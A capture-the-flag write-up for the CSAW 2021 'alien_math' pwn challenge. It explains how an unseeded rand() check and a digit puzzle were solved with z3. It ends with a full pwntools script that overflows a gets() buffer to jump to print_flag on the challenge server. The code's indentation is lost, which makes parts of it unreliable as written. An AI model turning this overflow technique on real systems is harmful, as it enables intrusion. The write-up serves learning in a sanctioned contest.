Tags: csaw2021 pwn

Rating: 5.0

We start from the taking a look at alien_math ELF binary in IDA and see the following picture:

Rough look at the code gives us the understanding that we need to solve some challenges before we actually have a BOF.

Let's start from the beginning.

The code asks user for some number (scanf("%d", &v5)) with a question What is the square root of zopnol?,
then it uses rand() to generate the first pseudo-random number which is then being compared with the user input.

The rand() function is called without preceeding call to srand() which must initialize the pseudo-random number generator,
that means all the rand() calls will have same output every program run (on any system).

So lets debug and see what the number is being generated by rand() and it will be the answer to the first challenge and it is a number 1804289383.

The second challenge is inside second_question(v4) function, where v4 holds user input for a question How many tewgrunbs are in a qorbnorbf?.

Here is the pseudocode of the second_question function:

We see that the user input (in a1 argument) is being checked for allowed characters (a1[i] <= '/' || a1[i] > '9') and
exits if there is a character which is not in range 0..9.

Then some calculations and transformations are applied on the input buffer with help of second_question_function and after the loop the resulting buffer is being compared
with number 7759406485255323229225.

Here is the pseudocode of second_question_function:

To solve this challenge I used z3 python library:
py
def second():
solver = z3.Solver()

chars = z3.BitVecs(''.join((f'd{d:02} ' for d in range(len(expected)-1))), 32)
for ch in chars:
solver.add(ch > 47, ch <= 57)

an = chars
for i in range(len(chars)- 1):
v1 = chars[i + 1] - ord('0')

an = ((v1 + fn(an, i + an)) % 10) + ord('0')

assert solver.check() == z3.sat
rv = ''
for i in range(len(chars)):
rv += chr(solver.model()[chars[i]].as_long())
print(rv)
return rv

enter2 = second().encode() # b'7856445899213065428791'


We got an answer to the second challenge question: 7856445899213065428791 and we finally reached final_question where the BOF is "implemented":

We see there is call gets(v1) where v1 is the stack buffer, lets try to exploit it with sending the pattern of
charatecters created with Metasploit's pattern_create.rb to find the stack offset to the retn address and it equals 24.

Let's build the final exploit and get the flag:
py
import traceback
from pwn import *
import z3

ip = "pwn.chal.csaw.io"
port = 5004

# elf = ELF('alien_math')

prefix = b""
offset = 24 # calculated using pattern_offset
overflow = b"A" * offset
retn = p64(0x4014FB) # address of print_flag

buffer = prefix + overflow + retn

r = remote(ip, port)

enter1 = b'1804289383'
expected = b'7759406485255323229225'

def fn(a, b):
return (12 * (b - ord('0')) - 4 + 48 * (a - ord('0')) - (b - ord('0'))) % 10

def second():
solver = z3.Solver()

chars = z3.BitVecs(''.join((f'd{d:02} ' for d in range(len(expected)-1))), 32)
for ch in chars:
solver.add(ch > 47, ch <= 57)

an = chars
for i in range(len(chars)- 1):
v1 = chars[i + 1] - ord('0')

an = ((v1 + fn(an, i + an)) % 10) + ord('0')

assert solver.check() == z3.sat
rv = ''
for i in range(len(chars)):
rv += chr(solver.model()[chars[i]].as_long())
print(rv)
return rv

enter2 = second().encode() # b'7856445899213065428791'

try:
r.recvuntil(b'zopnol?')
print("solving the first challenge...")
r.sendline(enter1)

r.recvuntil(b'qorbnorbf?')
print('solving the second challenge')
r.sendline(enter2)

r.recvuntil(b'salwzoblrs?')
r.sendline(buffer)

while True:
print(r.recv(1024))
except EOFError:
pass
except:
print("error.")
print(traceback.format_exc())



Done! we got the flag: flag{w3fL15n1Rx!_y0u_r34lLy_4R3_@_fL1rBg@rpL3_m4573R!}

Original writeup (https://github.com/EvilBunnyWrote/Write-ups/blob/main/csaw_2021/alien_math.md).